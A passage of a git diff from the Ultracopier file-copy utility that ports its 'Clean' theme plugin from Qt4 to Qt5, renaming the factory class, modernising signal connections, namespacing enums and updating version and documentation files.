+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/zh/translation.ts b/plugins-alternative/Themes/Clean/Languages/zh/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/zh/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/zh/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/documentation.dox b/plugins-alternative/Themes/Clean/documentation.dox
index 56e5331..3f7bc88 100755..100644
--- a/plugins-alternative/Themes/Clean/documentation.dox
+++ b/plugins-alternative/Themes/Clean/documentation.dox
@@ -11,12 +11,12 @@
\section mainpage_overview Overview
It's interface to have minimal interface for Ultracopier.\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project as alternative plugin.
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier project as alternative plugin.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
\section mainpage_downloads Downloads
diff --git a/plugins-alternative/Themes/Clean/factory.cpp b/plugins-alternative/Themes/Clean/factory.cpp
index 2b8d109..6acbe3a 100644
--- a/plugins-alternative/Themes/Clean/factory.cpp
+++ b/plugins-alternative/Themes/Clean/factory.cpp
@@ -1,70 +1,65 @@
/** \file factory.cpp
\brief Define the factory core
\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
+*/
#include "factory.h"
-PluginInterface_Themes * Factory::getInstance()
+PluginInterface_Themes * ThemesFactory::getInstance()
{
- PluginInterface_Themes * newInterface=new InterfacePlugin(facilityEngine);
- connect(this,SIGNAL(reloadLanguage()),newInterface,SLOT(newLanguageLoaded()));
- return newInterface;
+ InterfacePlugin * newInterface=new InterfacePlugin(facilityEngine);
+ connect(this,&ThemesFactory::reloadLanguage,newInterface,&InterfacePlugin::newLanguageLoaded);
+ return newInterface;
}
-void Factory::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityEngine,bool portableVersion)
+void ThemesFactory::setResources(OptionInterface * options, const QString &writePath, const QString &pluginPath, FacilityInterface * facilityInterface, const bool &portableVersion)
{
- Q_UNUSED(options)
- Q_UNUSED(writePath)
- Q_UNUSED(pluginPath)
- this->facilityEngine=facilityEngine;
- Q_UNUSED(portableVersion)
+ Q_UNUSED(options)
+ Q_UNUSED(writePath)
+ Q_UNUSED(pluginPath)
+ this->facilityEngine=facilityInterface;
+ Q_UNUSED(portableVersion)
}
-QWidget * Factory::options()
+QWidget * ThemesFactory::options()
{
- return NULL;
+ return NULL;
}
-QIcon Factory::getIcon(const QString &fileName)
+QIcon ThemesFactory::getIcon(const QString &fileName) const
{
- if(fileName=="SystemTrayIcon/exit.png")
- {
- QIcon tempIcon=QIcon::fromTheme("application-exit");
- if(!tempIcon.isNull())
- return tempIcon;
- }
- if(fileName=="SystemTrayIcon/add.png")
- {
- QIcon tempIcon=QIcon::fromTheme("list-add");
- if(!tempIcon.isNull())
- return tempIcon;
- }
- if(fileName=="SystemTrayIcon/informations.png")
- {
- QIcon tempIcon=QIcon::fromTheme("help-about");
- if(!tempIcon.isNull())
- return tempIcon;
- }
- if(fileName=="SystemTrayIcon/options.png")
- {
- QIcon tempIcon=QIcon::fromTheme("applications-system");
- if(!tempIcon.isNull())
- return tempIcon;
- }
- return QIcon(":/resources/"+fileName);
+ if(fileName=="SystemTrayIcon/exit.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("application-exit");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/add.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("list-add");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/informations.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("help-about");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ if(fileName=="SystemTrayIcon/options.png")
+ {
+ QIcon tempIcon=QIcon::fromTheme("applications-system");
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ return QIcon(":/Themes/Clean/resources/"+fileName);
}
-void Factory::resetOptions()
+void ThemesFactory::resetOptions()
{
}
-void Factory::newLanguageLoaded()
+void ThemesFactory::newLanguageLoaded()
{
- emit reloadLanguage();
+ emit reloadLanguage();
}
-
-Q_EXPORT_PLUGIN2(interface, Factory);
diff --git a/plugins-alternative/Themes/Clean/factory.h b/plugins-alternative/Themes/Clean/factory.h
index 2a9c0ef..f9b1ee2 100644
--- a/plugins-alternative/Themes/Clean/factory.h
+++ b/plugins-alternative/Themes/Clean/factory.h
@@ -1,8 +1,7 @@
/** \file factory.h
\brief Define the factory, to create instance of the interface
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef FACTORY_H
#define FACTORY_H
@@ -14,26 +13,27 @@
#include "../../../interface/PluginInterface_Themes.h"
/// \brief Define the factory, to create instance of the interface
-class Factory : public PluginInterface_ThemesFactory
+class ThemesFactory : public PluginInterface_ThemesFactory
{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_ThemesFactory)
- public:
- /// \brief to return the instance of the copy engine
- PluginInterface_Themes * getInstance();
- /// \brief set the resources, to store options, to have facilityInterface
- void setResources(OptionInterface * optionsEngine,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityEngine,bool portableVersion);
- /// \brief to get the default options widget
- QWidget * options();
- /// \brief to get a resource icon
- QIcon getIcon(const QString &fileName);
- signals:
- void reloadLanguage();
- public slots:
- void resetOptions();
- void newLanguageLoaded();
- private:
- FacilityInterface * facilityEngine;
+ Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.ThemesFactory/1.0.1.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_ThemesFactory)
+ public:
+ /// \brief to return the instance of the copy engine
+ PluginInterface_Themes * getInstance();
+ /// \brief set the resources, to store options, to have facilityInterface
+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion);
+ /// \brief to get the default options widget
+ QWidget * options();
+ /// \brief to get a resource icon
+ QIcon getIcon(const QString &fileName) const;
+ signals:
+ void reloadLanguage();
+ public slots:
+ void resetOptions();
+ void newLanguageLoaded();
+ private:
+ FacilityInterface * facilityEngine;
};
#endif // FACTORY_H
diff --git a/plugins-alternative/Themes/Clean/informations.xml b/plugins-alternative/Themes/Clean/informations.xml
index 8e076a4..3b49a98 100644
--- a/plugins-alternative/Themes/Clean/informations.xml
+++ b/plugins-alternative/Themes/Clean/informations.xml
@@ -17,11 +17,10 @@
<description xml:lang="en"><![CDATA[Clean style for Ultracopier]]></description>
<description xml:lang="fr"><![CDATA[Style Clean pour Ultracopier]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>Clean</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins-alternative/Themes/Clean/interface.cpp b/plugins-alternative/Themes/Clean/interface.cpp
index 6d6c4b1..3f2cd2a 100644
--- a/plugins-alternative/Themes/Clean/interface.cpp
+++ b/plugins-alternative/Themes/Clean/interface.cpp
@@ -1,99 +1,96 @@
/** \file interface.cpp
\brief Define the interface core
\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
+*/
#include "interface.h"
#include "ui_interface.h"
InterfacePlugin::InterfacePlugin(FacilityInterface * facilityEngine) :
- ui(new Ui::interface())
-{
- ui->setupUi(this);
- currentFile = 0;
- totalFile = 0;
- currentSize = 0;
- totalSize = 0;
- modeIsForced = false;
- haveStarted = false;
- this->facilityEngine = facilityEngine;
- this->show();
- menu=new QMenu(this);
- ui->toolButton->setMenu(menu);
- updateModeAndType();
-
- connect(ui->actionAddFile,SIGNAL(triggered()),this,SLOT(forcedModeAddFile()));
- connect(ui->actionAddFileToCopy,SIGNAL(triggered()),this,SLOT(forcedModeAddFileToCopy()));
- connect(ui->actionAddFileToMove,SIGNAL(triggered()),this,SLOT(forcedModeAddFileToMove()));
- connect(ui->actionAddFolderToCopy,SIGNAL(triggered()),this,SLOT(forcedModeAddFolderToCopy()));
- connect(ui->actionAddFolderToMove,SIGNAL(triggered()),this,SLOT(forcedModeAddFolderToMove()));
- connect(ui->actionAddFolder,SIGNAL(triggered()),this,SLOT(forcedModeAddFolder()));
+ ui(new Ui::interface())
+{
+ ui->setupUi(this);
+ currentFile = 0;
+ totalFile = 0;
+ currentSize = 0;
+ totalSize = 0;
+ modeIsForced = false;
+ haveStarted = false;
+ this->facilityEngine = facilityEngine;
+ menu=new QMenu(this);
+ ui->toolButton->setMenu(menu);
+ updateModeAndType();
+
+ connect(ui->actionAddFile,&QAction::triggered,this,&InterfacePlugin::forcedModeAddFile);
+ connect(ui->actionAddFileToCopy,&QAction::triggered,this,&InterfacePlugin::forcedModeAddFileToCopy);
+ connect(ui->actionAddFileToMove,&QAction::triggered,this,&InterfacePlugin::forcedModeAddFileToMove);
+ connect(ui->actionAddFolderToCopy,&QAction::triggered,this,&InterfacePlugin::forcedModeAddFolderToCopy);
+ connect(ui->actionAddFolderToMove,&QAction::triggered,this,&InterfacePlugin::forcedModeAddFolderToMove);
+ connect(ui->actionAddFolder,&QAction::triggered,this,&InterfacePlugin::forcedModeAddFolder);
+ show();
}
InterfacePlugin::~InterfacePlugin()
{
- delete menu;
+ delete menu;
}
void InterfacePlugin::forcedModeAddFile()
{
- emit userAddFile(mode);
+ emit userAddFile(mode);
}
void InterfacePlugin::forcedModeAddFolder()
{
- emit userAddFolder(mode);
+ emit userAddFolder(mode);
}
void InterfacePlugin::forcedModeAddFileToCopy()
{
- emit userAddFile(Copy);
+ emit userAddFile(Ultracopier::Copy);
}
void InterfacePlugin::forcedModeAddFolderToCopy()
{
- emit userAddFolder(Copy);
+ emit userAddFolder(Ultracopier::Copy);
}
void InterfacePlugin::forcedModeAddFileToMove()
{
- emit userAddFile(Move);
+ emit userAddFile(Ultracopier::Move);
}
void InterfacePlugin::forcedModeAddFolderToMove()
{
- emit userAddFolder(Move);
+ emit userAddFolder(Ultracopier::Move);
}
void InterfacePlugin::updateModeAndType()
{
- menu->clear();
- if(modeIsForced)
- {
- menu->addAction(ui->actionAddFile);
- if(type==FileAndFolder)
- menu->addAction(ui->actionAddFolder);
- }
- else
- {
- menu->addAction(ui->actionAddFileToCopy);
- menu->addAction(ui->actionAddFileToMove);
- if(type==FileAndFolder)
- {
- menu->addAction(ui->actionAddFolderToCopy);
- menu->addAction(ui->actionAddFolderToMove);
- }
- }
+ menu->clear();
+ if(modeIsForced)
+ {
+ menu->addAction(ui->actionAddFile);
+ if(type==Ultracopier::FileAndFolder)
+ menu->addAction(ui->actionAddFolder);
+ }
+ else
+ {
+ menu->addAction(ui->actionAddFileToCopy);
+ menu->addAction(ui->actionAddFileToMove);
+ if(type==Ultracopier::FileAndFolder)
+ {
+ menu->addAction(ui->actionAddFolderToCopy);
+ menu->addAction(ui->actionAddFolderToMove);
+ }
+ }
}
void InterfacePlugin::closeEvent(QCloseEvent *event)
{
- event->ignore();
- this->hide();
- emit cancel();
+ event->ignore();
+ this->hide();
+ emit cancel();
}
void InterfacePlugin::detectedSpeed(const quint64 &speed)
@@ -106,162 +103,170 @@ QWidget * InterfacePlugin::getOptionsEngineWidget()
return NULL;
}
-void InterfacePlugin::getOptionsEngineEnabled(bool isEnabled)
+void InterfacePlugin::getOptionsEngineEnabled(const bool &isEnabled)
{
Q_UNUSED(isEnabled)
}
-void InterfacePlugin::setCopyType(CopyType type)
+void InterfacePlugin::setCopyType(const Ultracopier::CopyType &type)
{
- this->type=type;
- updateModeAndType();
+ this->type=type;
+ updateModeAndType();
}
-void InterfacePlugin::forceCopyMode(CopyMode mode)
+void InterfacePlugin::forceCopyMode(const Ultracopier::CopyMode &mode)
{
- modeIsForced=true;
- this->mode=mode;
- updateModeAndType();
+ modeIsForced=true;
+ this->mode=mode;
+ updateModeAndType();
}
void InterfacePlugin::updateTitle()
{
- QString actionString;
- switch(action)
- {
- case Listing:
- actionString=facilityEngine->translateText("Listing");
- break;
- case Copying:
- actionString=facilityEngine->translateText("Copying");
- break;
- case CopyingAndListing:
- actionString=facilityEngine->translateText("Listing and copying");
- break;
- case Idle:
- actionString="Ultracopier";
- break;
- }
- this->setWindowTitle(actionString+" - "+tr("%1/%2 files, %3/%4").arg(currentFile).arg(totalFile).arg(currentSize).arg(totalSize));
-}
-
-void InterfacePlugin::actionInProgess(EngineActionInProgress action)
-{
- this->action=action;
- switch(action)
- {
- case Copying:
- case CopyingAndListing:
- ui->progressBar->setMaximum(65535);
- ui->progressBar->setMinimum(0);
- break;
- case Listing:
- ui->progressBar->setMaximum(0);
- ui->progressBar->setMinimum(0);
- break;
- case Idle:
- if(haveStarted)
- emit cancel();
- break;
- default:
- break;
- }
- switch(action)
- {
- case Copying:
- case CopyingAndListing:
- haveStarted=true;
- break;
- default:
- break;
- }
-}
-
-void InterfacePlugin::newTransferStart(const ItemOfCopyList &item)
-{
- ui->text->setText(item.sourceFullPath);
+ QString actionString;
+ switch(action)
+ {
+ case Ultracopier::Listing:
+ actionString=facilityEngine->translateText("Listing");
+ break;
+ case Ultracopier::Copying:
+ actionString=facilityEngine->translateText("Copying");
+ break;
+ case Ultracopier::CopyingAndListing:
+ actionString=facilityEngine->translateText("Listing and copying");
+ break;
+ case Ultracopier::Idle:
+ actionString="Ultracopier";
+ break;
+ }
+ this->setWindowTitle(actionString+" - "+tr("%1/%2 files, %3/%4").arg(currentFile).arg(totalFile).arg(currentSize).arg(totalSize));
+}
+
+void InterfacePlugin::actionInProgess(const Ultracopier::EngineActionInProgress &action)
+{
+ this->action=action;
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ ui->progressBar->setMaximum(65535);
+ ui->progressBar->setMinimum(0);
+ break;
+ case Ultracopier::Listing:
+ ui->progressBar->setMaximum(0);
+ ui->progressBar->setMinimum(0);
+ break;
+ case Ultracopier::Idle:
+ if(haveStarted)
+ emit cancel();
+ break;
+ default:
+ break;
+ }
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ haveStarted=true;
+ break;
+ default:
+ break;
+ }
+}
+
+void InterfacePlugin::newTransferStart(const Ultracopier::ItemOfCopyList &item)
+{
+ ui->text->setText(item.sourceFullPath);
}
void InterfacePlugin::newTransferStop(const quint64 &id)
{
- Q_UNUSED(id)
+ Q_UNUSED(id)
}
void InterfacePlugin::newFolderListing(const QString &path)
{
- if(action==Listing)
- ui->text->setText(path);
+ if(action==Ultracopier::Listing)
+ ui->text->setText(path);
}
void InterfacePlugin::remainingTime(const int &remainingSeconds)
{
- Q_UNUSED(remainingSeconds)
+ Q_UNUSED(remainingSeconds)
}
void InterfacePlugin::newCollisionAction(const QString &action)
{
- Q_UNUSED(action)
+ Q_UNUSED(action)
}
void InterfacePlugin::newErrorAction(const QString &action)
{
- Q_UNUSED(action)
+ Q_UNUSED(action)
}
void InterfacePlugin::errorDetected()
{
}
-void InterfacePlugin::setTransferListOperation(TransferListOperation transferListOperation)
+/// \brief new error
+void InterfacePlugin::errorToRetry(const QString &source,const QString &destination,const QString &error)
+{
+ Q_UNUSED(source);
+ Q_UNUSED(destination);
+ Q_UNUSED(error);
+}
+
+void InterfacePlugin::setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation)
{
- Q_UNUSED(transferListOperation)
+ Q_UNUSED(transferListOperation)
}
//speed limitation
bool InterfacePlugin::setSpeedLimitation(const qint64 &speedLimitation)
{
- Q_UNUSED(speedLimitation)
+ Q_UNUSED(speedLimitation)
return false;
}
//get information about the copy
void InterfacePlugin::setGeneralProgression(const quint64 &current,const quint64 &total)
{
- ui->progressBar->setValue(((double)current/total)*65535);
+ ui->progressBar->setValue(((double)current/total)*65535);
}
void InterfacePlugin::setCollisionAction(const QList<QPair<QString,QString> > &list)
{
- Q_UNUSED(list)
+ Q_UNUSED(list)
}
void InterfacePlugin::setErrorAction(const QList<QPair<QString,QString> > &list)
{
- Q_UNUSED(list)
+ Q_UNUSED(list)
}
//edit the transfer list
-void InterfacePlugin::getActionOnList(const QList<returnActionOnCopyList> &returnActions)
+void InterfacePlugin::getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions)
{
- Q_UNUSED(returnActions)
+ Q_UNUSED(returnActions)
}
void InterfacePlugin::haveExternalOrder()
{
- ui->toolButton->hide();
+ ui->toolButton->hide();
}
-void InterfacePlugin::isInPause(bool isInPause)
+void InterfacePlugin::isInPause(const bool &isInPause)
{
- //resume in auto the pause
- if(isInPause)
- emit resume();
+ //resume in auto the pause
+ if(isInPause)
+ emit resume();
}
void InterfacePlugin::newLanguageLoaded()
{
- ui->retranslateUi(this);
- updateTitle();
+ ui->retranslateUi(this);
+ updateTitle();
}
/*
@@ -269,147 +274,153 @@ void InterfacePlugin::newLanguageLoaded()
Return[1]: totalSize
Return[2]: currentFile
*/
-void InterfacePlugin::synchronizeItems(const QList<returnActionOnCopyList>& returnActions)
-{
- loop_size=returnActions.size();
- index_for_loop=0;
- while(index_for_loop<loop_size)
- {
- const returnActionOnCopyList& action=returnActions.at(index_for_loop);
- switch(action.type)
- {
- case AddingItem:
- {
- totalFile++;
- totalSize+=action.addAction.size;
- }
- break;
- case RemoveItem:
- currentFile++;
- break;
- case PreOperation:
- {
- ItemOfCopyListWithMoreInformations tempItem;
- tempItem.currentProgression=0;
- tempItem.generalData=action.addAction;
- totalFile+=action.addAction.size;
- InternalRunningOperation << tempItem;
- }
- break;
- case Transfer:
- {
- sub_index_for_loop=0;
- sub_loop_size=InternalRunningOperation.size();
- while(sub_index_for_loop<sub_loop_size)
- {
- if(InternalRunningOperation.at(sub_index_for_loop).generalData.id==action.addAction.id)
- {
- InternalRunningOperation[sub_index_for_loop].actionType=action.type;
- break;
- }
- sub_index_for_loop++;
- }
- }
- break;
- case PostOperation:
- {
- sub_index_for_loop=0;
- sub_loop_size=InternalRunningOperation.size();
- while(sub_index_for_loop<sub_loop_size)
- {
- if(InternalRunningOperation.at(sub_index_for_loop).generalData.id==action.addAction.id)
- {
- InternalRunningOperation.removeAt(sub_index_for_loop);
- break;
- }
- sub_index_for_loop++;
- }
- }
- break;
- case CustomOperation:
- {
- bool custom_with_progression=(action.addAction.size==1);
- sub_index_for_loop=0;
- sub_loop_size=InternalRunningOperation.size();
- while(sub_index_for_loop<sub_loop_size)
- {
- if(InternalRunningOperation.at(sub_index_for_loop).generalData.id==action.addAction.id)
- {
- InternalRunningOperation[sub_index_for_loop].actionType=action.type;
- InternalRunningOperation[sub_index_for_loop].custom_with_progression=custom_with_progression;
- InternalRunningOperation[sub_index_for_loop].currentProgression=0;
- break;
- }
- sub_index_for_loop++;
- }
- }
- break;
- default:
- //unknow code, ignore it
- break;
- }
- index_for_loop++;
- }
-}
-
-void InterfacePlugin::setFileProgression(const QList<ProgressionItem> &progressionList)
-{
- loop_size=InternalRunningOperation.size();
- sub_loop_size=progressionList.size();
- index_for_loop=0;
- while(index_for_loop<loop_size)
- {
- sub_index_for_loop=0;
- while(sub_index_for_loop<sub_loop_size)
- {
- if(progressionList.at(sub_index_for_loop).id==InternalRunningOperation.at(index_for_loop).generalData.id)
- {
- InternalRunningOperation[index_for_loop].generalData.size=progressionList.at(sub_index_for_loop).total;
- InternalRunningOperation[index_for_loop].currentProgression=progressionList.at(sub_index_for_loop).current;
- break;
- }
- sub_index_for_loop++;
- }
- index_for_loop++;
- }
+void InterfacePlugin::synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions)
+{
+ loop_size=returnActions.size();
+ index_for_loop=0;
+ while(index_for_loop<loop_size)
+ {
+ const Ultracopier::ReturnActionOnCopyList& action=returnActions.at(index_for_loop);
+ switch(action.type)
+ {
+ case Ultracopier::AddingItem:
+ {
+ totalFile++;
+ totalSize+=action.addAction.size;
+ }
+ break;
+ case Ultracopier::RemoveItem:
+ currentFile++;
+ break;
+ case Ultracopier::PreOperation:
+ {
+ ItemOfCopyListWithMoreInformations tempItem;
+ tempItem.currentProgression=0;
+ tempItem.generalData=action.addAction;
+ currentSize+=action.addAction.size;
+ InternalRunningOperation << tempItem;
+ }
+ break;
+ case Ultracopier::Transfer:
+ {
+ sub_index_for_loop=0;
+ sub_loop_size=InternalRunningOperation.size();
+ while(sub_index_for_loop<sub_loop_size)
+ {
+ if(InternalRunningOperation.at(sub_index_for_loop).generalData.id==action.addAction.id)
+ {
+ InternalRunningOperation[sub_index_for_loop].actionType=action.type;
+ break;
+ }
+ sub_index_for_loop++;
+ }
+ }
+ break;
+ case Ultracopier::PostOperation:
+ {
+ sub_index_for_loop=0;
+ sub_loop_size=InternalRunningOperation.size();
+ while(sub_index_for_loop<sub_loop_size)
+ {
+ if(InternalRunningOperation.at(sub_index_for_loop).generalData.id==action.addAction.id)
+ {
+ InternalRunningOperation.removeAt(sub_index_for_loop);
+ break;
+ }
+ sub_index_for_loop++;
+ }
+ }
+ break;
+ case Ultracopier::CustomOperation:
+ {
+ bool custom_with_progression=(action.addAction.size==1);
+ sub_index_for_loop=0;
+ sub_loop_size=InternalRunningOperation.size();
+ while(sub_index_for_loop<sub_loop_size)
+ {
+ if(InternalRunningOperation.at(sub_index_for_loop).generalData.id==action.addAction.id)
+ {
+ InternalRunningOperation[sub_index_for_loop].actionType=action.type;
+ InternalRunningOperation[sub_index_for_loop].custom_with_progression=custom_with_progression;
+ InternalRunningOperation[sub_index_for_loop].currentProgression=0;
+ break;
+ }
+ sub_index_for_loop++;
+ }
+ }
+ break;
+ default:
+ //unknow code, ignore it
+ break;
+ }
+ index_for_loop++;
+ }
+}
+
+/** \brief support speed limitation */
+void InterfacePlugin::setSupportSpeedLimitation(const bool &supportSpeedLimitationBool)
+{
+ Q_UNUSED(supportSpeedLimitationBool);
+}
+
+void InterfacePlugin::setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList)
+{
+ loop_size=InternalRunningOperation.size();
+ sub_loop_size=progressionList.size();
+ index_for_loop=0;
+ while(index_for_loop<loop_size)
+ {
+ sub_index_for_loop=0;
+ while(sub_index_for_loop<sub_loop_size)
+ {
+ if(progressionList.at(sub_index_for_loop).id==InternalRunningOperation.at(index_for_loop).generalData.id)
+ {
+ InternalRunningOperation[index_for_loop].generalData.size=progressionList.at(sub_index_for_loop).total;
+ InternalRunningOperation[index_for_loop].currentProgression=(progressionList.at(sub_index_for_loop).currentRead+progressionList.at(sub_index_for_loop).currentWrite)/2;
+ break;
+ }
+ sub_index_for_loop++;
+ }
+ index_for_loop++;
+ }
}
InterfacePlugin::currentTransfertItem InterfacePlugin::getCurrentTransfertItem()
{
- currentTransfertItem returnItem;
- returnItem.haveItem=InternalRunningOperation.size()>0;
- if(returnItem.haveItem)
- {
- const ItemOfCopyListWithMoreInformations &itemTransfer=InternalRunningOperation.first();
- returnItem.from=itemTransfer.generalData.sourceFullPath;
- returnItem.to=itemTransfer.generalData.destinationFullPath;
- returnItem.current_file=itemTransfer.generalData.destinationFileName+", "+facilityEngine->sizeToString(itemTransfer.generalData.size);
- switch(itemTransfer.actionType)
- {
- case CustomOperation:
- if(!itemTransfer.custom_with_progression)
- returnItem.progressBar_file=0;
- else
- {
- if(itemTransfer.generalData.size>0)
- returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
- else
- returnItem.progressBar_file=0;
- }
- break;
- case Transfer:
- if(itemTransfer.generalData.size>0)
- returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
- else
- returnItem.progressBar_file=0;
- break;
- case PostOperation:
- returnItem.progressBar_file=65535;
- break;
- default:
- returnItem.progressBar_file=0;
- }
- }
- return returnItem;
+ currentTransfertItem returnItem;
+ returnItem.haveItem=InternalRunningOperation.size()>0;
+ if(returnItem.haveItem)
+ {
+ const ItemOfCopyListWithMoreInformations &itemTransfer=InternalRunningOperation.first();
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName+", "+facilityEngine->sizeToString(itemTransfer.generalData.size);
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_file=0;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
+ else
+ returnItem.progressBar_file=0;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
+ else
+ returnItem.progressBar_file=0;
+ break;
+ case Ultracopier::PostOperation:
+ returnItem.progressBar_file=65535;
+ break;
+ default:
+ returnItem.progressBar_file=0;
+ }
+ }
+ return returnItem;
}
diff --git a/plugins-alternative/Themes/Clean/interface.h b/plugins-alternative/Themes/Clean/interface.h
index b7ab57f..e5b5c36 100644
--- a/plugins-alternative/Themes/Clean/interface.h
+++ b/plugins-alternative/Themes/Clean/interface.h
@@ -1,8 +1,7 @@
/** \file interface.h
\brief Define the interface
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef INTERFACE_TEST_H
#define INTERFACE_TEST_H
@@ -15,145 +14,128 @@
#include "../../../interface/PluginInterface_Themes.h"
namespace Ui {
- class interface;
+ class interface;
}
/// \brief Define the interface
class InterfacePlugin : public PluginInterface_Themes
{
- Q_OBJECT
+ Q_OBJECT
public slots:
- //send information about the copy
- /// \brief to set the action in progress
- void actionInProgess(EngineActionInProgress);
- /// \brief new transfer have started
- void newTransferStart(const ItemOfCopyList &item);
- /** \brief one transfer have been stopped
- * is stopped, example: because error have occurred, and try later, don't remove the item! */
- void newTransferStop(const quint64 &id);
- /// \brief the new folder is listing
- void newFolderListing(const QString &path);
- /** \brief show the detected speed
- * in byte per seconds */
- void detectedSpeed(const quint64 &speed);
- /** \brief show the remaining time
- * time in seconds */
- void remainingTime(const int &remainingSeconds);
- /// \brief set the current collision action
- void newCollisionAction(const QString &action);
- /// \brief set the current error action
- void newErrorAction(const QString &action);
- /// \brief set one error is detected
- void errorDetected();
- //speed limitation
- /** \brief the max speed used
- * in byte per seconds, -1 if not able, 0 if disabled */
- bool setSpeedLimitation(const qint64 &speedLimitation);
- //set the translate
- void newLanguageLoaded();
- void synchronizeItems(const QList<returnActionOnCopyList>& returnActions);
+ //send information about the copy
+ /// \brief to set the action in progress
+ void actionInProgess(const Ultracopier::EngineActionInProgress&);
+ /// \brief new transfer have started
+ void newTransferStart(const Ultracopier::ItemOfCopyList &item);
+ /** \brief one transfer have been stopped
+ * is stopped, example: because error have occurred, and try later, don't remove the item! */
+ void newTransferStop(const quint64 &id);
+ /// \brief the new folder is listing
+ void newFolderListing(const QString &path);
+ /** \brief show the detected speed
+ * in byte per seconds */
+ void detectedSpeed(const quint64 &speed);
+ /** \brief show the remaining time
+ * time in seconds */
+ void remainingTime(const int &remainingSeconds);
+ /// \brief set the current collision action
+ void newCollisionAction(const QString &action);
+ /// \brief set the current error action
+ void newErrorAction(const QString &action);
+ /// \brief set one error is detected
+ void errorDetected();
+ /// \brief new error
+ void errorToRetry(const QString &source,const QString &destination,const QString &error);
+ //speed limitation
+ /** \brief the max speed used
+ * in byte per seconds, -1 if not able, 0 if disabled */
+ bool setSpeedLimitation(const qint64 &speedLimitation);
+ //set the translate
+ void newLanguageLoaded();
+ void synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions);
+ /** \brief support speed limitation */
+ void setSupportSpeedLimitation(const bool &supportSpeedLimitationBool);
public:
- /// \brief the transfer item with progression
- struct ItemOfCopyListWithMoreInformations
- {
- quint64 currentProgression;
- ItemOfCopyList generalData;
- ActionTypeCopyList actionType;
- bool custom_with_progression;
- };
- /// \brief returned first transfer item
- struct currentTransfertItem
- {
- quint64 id;
- bool haveItem;
- QString from;
- QString to;
- QString current_file;
- int progressBar_file;
- };
- /// \brief get the widget for the copy engine
- QWidget * getOptionsEngineWidget();
- /// \brief to set if the copy engine is found
- void getOptionsEngineEnabled(bool isEnabled);
- /// \brief get action on the transfer list (add/move/remove)
- void getActionOnList(const QList<returnActionOnCopyList> &returnActions);
- //get information about the copy
- /// \brief show the general progression
- void setGeneralProgression(const quint64 &current,const quint64 &total);
- /// \brief show the file progression
